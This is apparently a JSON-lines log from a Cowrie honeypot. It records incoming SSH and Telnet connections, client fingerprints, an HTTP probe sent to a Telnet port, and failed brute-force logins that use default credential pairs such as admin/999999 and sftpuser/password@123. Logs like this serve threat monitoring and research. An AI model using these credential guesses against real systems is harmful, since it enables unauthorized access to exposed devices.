{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:13.145413Z","src_ip":"171.25.158.70","session":"4e21ff6cf45c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:13.246105Z","src_ip":"171.25.158.70","session":"4e21ff6cf45c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"999999","message":"login attempt [admin/999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:13.700968Z","src_ip":"171.25.158.70","session":"4e21ff6cf45c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:14.813150Z","src_ip":"171.25.158.70","session":"4e21ff6cf45c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00304007530212,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:16.502702Z","src_ip":"67.128.120.127","session":"b72883cf8499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.128.120.127","src_port":33108,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5cccd206c46","protocol":"telnet","message":"New connection: 67.128.120.127:33108 (159.203.135.109:23) [session: f5cccd206c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:16.767286Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":32914,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce9ac67ddb38","protocol":"ssh","message":"New connection: 27.119.7.6:32914 (10.17.0.5:22) [session: ce9ac67ddb38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:27.106975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:27.122303Z","src_ip":"27.119.7.6","session":"ce9ac67ddb38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:27.312024Z","src_ip":"27.119.7.6","session":"ce9ac67ddb38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"password@123","message":"login attempt [sftpuser/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:28.080179Z","src_ip":"27.119.7.6","session":"ce9ac67ddb38","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:28.897165Z","src_ip":"176.65.139.81","session":"c6a22d3be6d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.23669934272766,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:28.912081Z","src_ip":"176.65.139.81","session":"c6a22d3be6d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:29.283360Z","src_ip":"27.119.7.6","session":"ce9ac67ddb38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45838,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f1dd45fe936","protocol":"ssh","message":"New connection: 159.203.92.129:45838 (159.203.135.109:22) [session: 4f1dd45fe936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:32.236279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:32.240662Z","src_ip":"159.203.92.129","session":"4f1dd45fe936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:32.243903Z","src_ip":"159.203.92.129","session":"4f1dd45fe936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"77777777","message":"login attempt [1234/77777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:32.254393Z","src_ip":"159.203.92.129","session":"4f1dd45fe936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:33.261249Z","src_ip":"159.203.92.129","session":"4f1dd45fe936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":34292,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bbac9eaab99","protocol":"ssh","message":"New connection: 171.25.158.70:34292 (10.17.0.5:22) [session: 7bbac9eaab99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:05.389731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:05.394781Z","src_ip":"171.25.158.70","session":"7bbac9eaab99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:05.536298Z","src_ip":"171.25.158.70","session":"7bbac9eaab99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"manager123","message":"login attempt [admin/manager123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:06.012219Z","src_ip":"171.25.158.70","session":"7bbac9eaab99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:07.129529Z","src_ip":"171.25.158.70","session":"7bbac9eaab99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35866,"dst_ip":"159.203.135.109","dst_port":22,"session":"13e7eca40b69","protocol":"ssh","message":"New connection: 159.203.92.129:35866 (159.203.135.109:22) [session: 13e7eca40b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:16.544046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:16.548638Z","src_ip":"159.203.92.129","session":"13e7eca40b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:16.553026Z","src_ip":"159.203.92.129","session":"13e7eca40b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"888888","message":"login attempt [1234/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:16.562579Z","src_ip":"159.203.92.129","session":"13e7eca40b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":32434,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb32420dadf0","protocol":"telnet","message":"New connection: 34.62.3.232:32434 (10.17.0.5:23) [session: fb32420dadf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:17.149548Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":32440,"dst_ip":"10.17.0.5","dst_port":23,"session":"967648a13329","protocol":"telnet","message":"New connection: 34.62.3.232:32440 (10.17.0.5:23) [session: 967648a13329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:17.305435Z"}
{"eventid":"cowrie.session.closed","duration":0.005556344985961914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:17.310869Z","src_ip":"34.62.3.232","session":"967648a13329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":32446,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcc276d3e878","protocol":"telnet","message":"New connection: 34.62.3.232:32446 (10.17.0.5:23) [session: fcc276d3e878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:17.462219Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:17.575594Z","src_ip":"159.203.92.129","session":"13e7eca40b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.7242543697357178,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:19.873655Z","src_ip":"34.62.3.232","session":"fb32420dadf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13358,"dst_ip":"10.17.0.5","dst_port":23,"session":"48af71c29d28","protocol":"telnet","message":"New connection: 34.62.3.232:13358 (10.17.0.5:23) [session: 48af71c29d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:36.617988Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:36.623355Z","src_ip":"34.62.3.232","session":"48af71c29d28","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:36.628829Z","src_ip":"34.62.3.232","session":"48af71c29d28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09154653549194336,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:36.709420Z","src_ip":"34.62.3.232","session":"48af71c29d28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13364,"dst_ip":"10.17.0.5","dst_port":23,"session":"c067f1bf42b1","protocol":"telnet","message":"New connection: 34.62.3.232:13364 (10.17.0.5:23) [session: c067f1bf42b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:36.783590Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13378,"dst_ip":"10.17.0.5","dst_port":23,"session":"04a8a8b3a266","protocol":"telnet","message":"New connection: 34.62.3.232:13378 (10.17.0.5:23) [session: 04a8a8b3a266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:36.939391Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13390,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7891e37a21d","protocol":"telnet","message":"New connection: 34.62.3.232:13390 (10.17.0.5:23) [session: b7891e37a21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:37.094699Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13398,"dst_ip":"10.17.0.5","dst_port":23,"session":"a77eac6627d8","protocol":"telnet","message":"New connection: 34.62.3.232:13398 (10.17.0.5:23) [session: a77eac6627d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:37.250948Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13402,"dst_ip":"10.17.0.5","dst_port":23,"session":"6528c95a6432","protocol":"telnet","message":"New connection: 34.62.3.232:13402 (10.17.0.5:23) [session: 6528c95a6432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:37.405507Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13404,"dst_ip":"10.17.0.5","dst_port":23,"session":"8283736d6640","protocol":"telnet","message":"New connection: 34.62.3.232:13404 (10.17.0.5:23) [session: 8283736d6640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:37.563117Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13406,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb50fa4f4ff9","protocol":"telnet","message":"New connection: 34.62.3.232:13406 (10.17.0.5:23) [session: bb50fa4f4ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:37.721150Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13408,"dst_ip":"10.17.0.5","dst_port":23,"session":"6928d1009274","protocol":"telnet","message":"New connection: 34.62.3.232:13408 (10.17.0.5:23) [session: 6928d1009274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:37.878931Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13418,"dst_ip":"10.17.0.5","dst_port":23,"session":"76f83aa9e3d4","protocol":"telnet","message":"New connection: 34.62.3.232:13418 (10.17.0.5:23) [session: 76f83aa9e3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:38.032355Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13428,"dst_ip":"10.17.0.5","dst_port":23,"session":"e772237b29cc","protocol":"telnet","message":"New connection: 34.62.3.232:13428 (10.17.0.5:23) [session: e772237b29cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:38.259887Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13434,"dst_ip":"10.17.0.5","dst_port":23,"session":"78b6a46ff563","protocol":"telnet","message":"New connection: 34.62.3.232:13434 (10.17.0.5:23) [session: 78b6a46ff563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:38.414603Z"}
{"eventid":"cowrie.session.closed","duration":0.005138874053955078,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:38.419605Z","src_ip":"34.62.3.232","session":"78b6a46ff563","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13436,"dst_ip":"10.17.0.5","dst_port":23,"session":"66257173a99c","protocol":"telnet","message":"New connection: 34.62.3.232:13436 (10.17.0.5:23) [session: 66257173a99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:38.570849Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13438,"dst_ip":"10.17.0.5","dst_port":23,"session":"08166b92834b","protocol":"telnet","message":"New connection: 34.62.3.232:13438 (10.17.0.5:23) [session: 08166b92834b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:38.723952Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13452,"dst_ip":"10.17.0.5","dst_port":23,"session":"305f66553319","protocol":"telnet","message":"New connection: 34.62.3.232:13452 (10.17.0.5:23) [session: 305f66553319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:38.877226Z"}
